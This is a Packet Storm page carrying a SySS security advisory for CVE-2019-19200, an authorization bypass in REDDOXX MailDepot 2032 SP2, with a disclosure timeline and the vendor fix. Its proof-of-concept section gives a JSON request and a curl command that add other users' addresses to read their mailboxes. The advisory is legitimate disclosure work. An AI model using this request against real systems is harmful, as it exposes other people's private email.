exploit the possibilities

MailDepot 2032 SP2 (2.2.1242) Authorization Bypass

MailDepot 2032 SP2 (2.2.1242) Authorization Bypass
Posted Oct 2, 2020
Authored by Micha Borrmann

MailDepot version 2032 SP2 (2.2.1242) suffers from an improper authorization vulnerability. The REDDOXX MailDepot web service does not correctly verify whether a user has the proper rights to access specified mailboxes in a corresponding web service request. The web service request will only be processed if it contains a valid authentication token (usual REST web service), but the names of the mailboxes to be accessed are given within a JSON object which is not validated properly regarding user access permissions. Thus, any authenticated user can access mailboxes of other users due to improper authorization checks.

tags | exploit, web
advisories | CVE-2019-19200
MD5 | 2e1b3f83e91175cf5635f13218d5b89a

MailDepot 2032 SP2 (2.2.1242) Authorization Bypass

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Advisory ID: SYSS-2019-048
Product: MailDepot
Manufacturer: REDDOXX GmbH
Affected Version(s): 2032 SP2 (2.2.1242)
Tested Version(s): 2032 SP2 (2.2.1242)
Vulnerability Type: Improper Authorization (CWE-285)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2019-11-19
Solution Date: 2020-06-09
Public Disclosure: 2020-10-02
CVE Reference: CVE-2019-19200
Authors of Advisory: Micha Borrmann (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

REDDOXX MailDepot is an e-mail archiving solution with many features
and an optional web browser user interface.

The manufacturer describes the product as follows (see [1]):

"The email archiving solution works independently from the type of
mail server, supports any type of storage and can therefore be easily
integrated into any existing infrastructure."

Due to improper user authorization checks, a user can access mailboxes
of other users.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The REDDOXX MailDepot web service does not correctly verify whether a
user has the proper rights to access specified mailboxes in a
corresponding web service request.

The web service request will only be processed if it contains a valid
authentication token (usual REST web service), but the names of the
mailboxes to be accessed are given within a JSON object which is not
validated properly regarding user access permissions.

Thus, any authenticated user can access mailboxes of other users due
to improper authorization checks.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

After a successful logon, an ID is assigned by the server to the user
and this ID has to be sent with every further web service request as
an authentication token (usual REST web service).

In order to access a mailbox, a request with a JSON object of the
following type is sent:

{
"id": "{12345678-1234-5678-1234-5678ABCD0000}",
"method": "MailDepot2.QueryMailDepot",
"params": {
"Query": {
"NewQuery": true,
"QueryString": "DATE:[20191114095729 TO 20191119095729]",
"Storages": [],
"Categories": [],
"States": [
"csManual"
],
"DeputyAddresses": [
"validuser@company.com"
],
"IncludeDeleted": false,
"MaxResults": 10000,
"MaxResponseTime": 30000,
"Page": 1,
"Rows": 30,
"SortField": "date",
"SortDirection": "desc"
}
}
}

By adding additional values (e-mail addresses) to the key
"DeputyAddresses", mailboxes of other users can be accessed in an
unauthorized way.

The following example using cURL demonstrates this attack:

$ curl --url 'https://mailarchive.company.com/RdxEngine/json' --data '{"id":"{12345678-1234-5678-1234-5678ABCD0000}","method":"MailDepot2.QueryMailDepot","params":{"Query":{"NewQuery":true,"QueryString":"DATE:[20191114095729 TO 20191119095729]","Storages":[],"Categories":[],"States":["csManual"],"DeputyAddresses":["validuser@company.com","bigboss@company.com"],"IncludeDeleted":false,"MaxResults":10000,"MaxResponseTime":30000,"Page":1,"Rows":30,"SortField":"date","SortDirection":"desc"}}}'

It is more convenient to perform this kind of attack using a web
browser and a modifying web proxy.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Install the provided security update. If such a modified request is
sent, the updated version 2033 (2.3.3022) replies with "No ACL
assigned".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2019-11-18: Detection of the vulnerability
2019-11-19: Vulnerability reported to manufacturer
2019-11-20: Manufacturer confirms vulnerability
2019-11-21: CVE number assigned
2020-06-09: Update was released from the vendor [2]
2020-10-02: Public release of the security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] REDDOX MailDepot Product Website
https://www.reddoxx.com/en/products/archiving/
[2] REDDOXX Release Information
https://www.reddoxx.com/reddoxx-appliance-2033-verfuegbar/
[3] SySS Security Advisory SYSS-2019-048
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-048.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Micha Borrmann of SySS GmbH.

E-Mail: micha.borrmann (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc
Key Fingerprint: 38BD 7A9C 3EA9 39C5 33F9 94D0 CFC2 D5B0 8EE0 CBB9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory
may be updated in order to provide as accurate information as
possible. The latest version of this security advisory is available on
the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEOL16nD6pOcUz+ZTQz8LVsI7gy7kFAl93NYsACgkQz8LVsI7g
y7mkIRAAmZAvKWu2O4Keg0YXe65bnMHbc6rj+kQokhOUA68Zs90kqAhNXGsuyIG2
d+6UrRa85StVYMHYwYNr/YjULFPh5D1wDrQZivJgR5AlF29XZQ7LYib3WnPEtWNO
sWrTzpWfh1MaO2XJbyyg8CyshS8kongMsgfCIEwDDusJYnQaFSCfmRItTixBLBAW
9IJjH+HD8dGazwD0a01lvYdUZvtDQl7dQUs0YatZWbKtsCzzQlNNKXS6PoT/d6X2
H5cgMrG7d2isgPqw/xYEPHN5+ozpRTviI0foFfR5lOhrZbNDTOhPthX8CnQDWUMX
QNa39YdnTjyu6jddPVxvKm27lQ+iNhoCz0JNWHeQfJdgunvY5zu4m9i5zsDOSAdR
qVqzLBxZ8l0/m4iALuI4BiSl/oxi/n/r6o1+/p1x46vtg5+UUt/UZY8tRn/6SnwW
YDzmWB6eglcXp93nTZuZrmxAt8l5XZLfCssHVN5fLgkSED4Dpihzf8gw9oRrwTZe
/yQgxlzIkVUZ2egf7VlflclOnpAMLss+4JpkMhst+I3HutdEBU7d5dQBHLdW6hWI
rYwhUf4ofXaSJXm6iuNwyJSBv77Z2/jxDV8NCQ2oEsORxMU0FAyK+xX7C3jP4VNc
mS7u9yhmP0Ye55D5rEK+J1ICRZXE+hUdZMsvzMg/Xted75Z5XGQ=
=PZLP
-----END PGP SIGNATURE-----



Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    29 Files
  • 29
    Oct 29th
    13 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close